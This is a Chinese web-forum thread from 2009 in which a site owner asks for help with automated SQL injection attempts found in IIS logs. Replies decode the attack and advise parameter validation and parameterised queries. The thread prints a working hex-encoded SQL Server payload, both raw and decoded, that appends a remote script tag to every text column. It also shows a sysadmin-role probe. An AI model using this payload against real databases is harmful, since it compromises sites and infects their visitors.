sql注入问题,很是烦,高手请进

jackey_822 2009-09-05 09:39:50
我的网站最近有时反应速度很慢,查看服务器CPU常是100%,程序代码一向正常可以肯定没有死循环之类的错误,所以我怀疑有人在攻击,查看IIS日志,有以下异常代码:
15:43:57 GET /news/search.asp page=1&bid=18&sid=6;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533382533382533352533382532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);-- 80 210.83.80.137 - 302 0 0

16:09:16 GET /trade/trade.asp id=12108%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 80 210.83.80.137 - 302 0 0

由于字数不够
我只选 了其中两条,类似这样的记录每小时都有好几条。我知道这是SQL注入,其中的sql语句是转码了的,后来我干脆封了这个IP,但还是每天都有。从日志上分析似乎不是人为手动注入的,因为从0点到晚上23点每小时都有这样的记录。
哪位有过类似经验的大哥能给小弟分析一下
并且怎么才能把这段代码转码过来呢?
注:网站用的是asp+SQL2000 曾有数据库注入http://3b3.org/c.js代码,但已经成功解决此问题。网站日IP:3000左右,PV近30000。 以前CPU很正常,程序可以肯定没有死循环等问题。
...全文
195 8 打赏 收藏 转发到动态 举报
写回复
用AI写文章
8 条回复
切换为时间正序
请发表友善的回复…
发表回复
jackey_822 2009-09-05
  • 打赏
  • 举报
回复
[Quote=引用 6 楼 citybird 的回复:]

封IP不顶事的,如果是用ADSL的重起一下ADSL猫IP就自动更改了,你还能把所有的IP都封了!还是要检查你的代码增强网站的安全性
[/Quote]
我就是因为知道封IP没什么作用啊,程序代码安全性能考虑的我都考虑到了,现在没有被注入。只是发现有人注入的迹象。
三楼の郎 2009-09-05
  • 打赏
  • 举报
回复
[Quote=引用 5 楼 jackey_822 的回复:]
引用 4 楼 citybird 的回复:
你这个例子只要在页面顶部取到sid和bid的时候用isnumeric函数判断一下sid和bid的数据类型,确保这两个参数都是数字,不是数字就返回错误不往下执行就可以了

这此我肯定是做过判断了,其实他这段代码也没有注入成功。我想分析一下这种注入的原理,为会我现在封了他IP,他连我网站都访问不了还是来注入呢,我怕的就是用代理IP啊,万一哪一天他还扫描到我网的其它漏洞呢?这种注入一但成功后果很难想像啊。
[/Quote]
封IP不顶事的,如果是用ADSL的重起一下ADSL猫IP就自动更改了,你还能把所有的IP都封了!还是要检查你的代码增强网站的安全性
jackey_822 2009-09-05
  • 打赏
  • 举报
回复
[Quote=引用 4 楼 citybird 的回复:]
你这个例子只要在页面顶部取到sid和bid的时候用isnumeric函数判断一下sid和bid的数据类型,确保这两个参数都是数字,不是数字就返回错误不往下执行就可以了
[/Quote]
这此我肯定是做过判断了,其实他这段代码也没有注入成功。我想分析一下这种注入的原理,为会我现在封了他IP,他连我网站都访问不了还是来注入呢,我怕的就是用代理IP啊,万一哪一天他还扫描到我网的其它漏洞呢?这种注入一但成功后果很难想像啊。
三楼の郎 2009-09-05
  • 打赏
  • 举报
回复
你这个例子只要在页面顶部取到sid和bid的时候用isnumeric函数判断一下sid和bid的数据类型,确保这两个参数都是数字,不是数字就返回错误不往下执行就可以了
jinjazz 2009-09-05
  • 打赏
  • 举报
回复
dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533382533382533352533382532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);-- 


把%20 替换为空格
把exec 替换为print

放到Sql中运行一下就看到了


jackey_822 2009-09-05
  • 打赏
  • 举报
回复
[Quote=引用 1 楼 jinjazz 的回复:]
这段代码执行了

SQL codeDECLARE@Tvarchar(255),@Cvarchar(255)DECLARE Table_CursorCURSORFORselect a.name,b.namefrom sysobjects a,sysobjects bwhere a.id=b.idand a.xtype='u'and
(b.xtype=99or b.xtype=35or b.xtype=231or b.xtype=167)OPEN Table_CursorFETCHNEXTFROM Table_CursorINTO@T,@CWHILE(@@FETCH_STATUS=0)BEGINexec('update ['+@T+']
set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''"><script src=http://%38%38%35%38%2E%73%73%2E%6C%61></script>''')FETCHNEXTFROM Table_CursorINTO@T,@CENDCLOSE Table_CursorDEALLOCATE Table_Cursor

只要你把你页面的参数判断一下就行了.sql语句最好不要拼凑,用参数.数据库不要用sa,用没有系统表访问权限的用户
[/Quote]
我也想到是对SQL系统的sysobjects 和sysobjects 两个表操作了,我已经禁用了此两表的操作权限,UID肯定是不会用sa 的。请问那代码是怎么转码过来的呢?
jinjazz 2009-09-05
  • 打赏
  • 举报
回复
这段代码执行了

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR 
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+']
set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''"><script src=http://%38%38%35%38%2E%73%73%2E%6C%61></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor


只要你把你页面的参数判断一下就行了.sql语句最好不要拼凑,用参数.数据库不要用sa,用没有系统表访问权限的用户
jackey_822 2009-09-05
  • 打赏
  • 举报
回复
declare @s varchar(8000)
sEt @s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533382533382533352533382532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72
print Lower(@s)

得到编码内容为:
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar,['+@c+']))+''"><script src=http://%38%38%35%38%2e%73%73%2e%6c%61></script>''')fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor

28,391

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧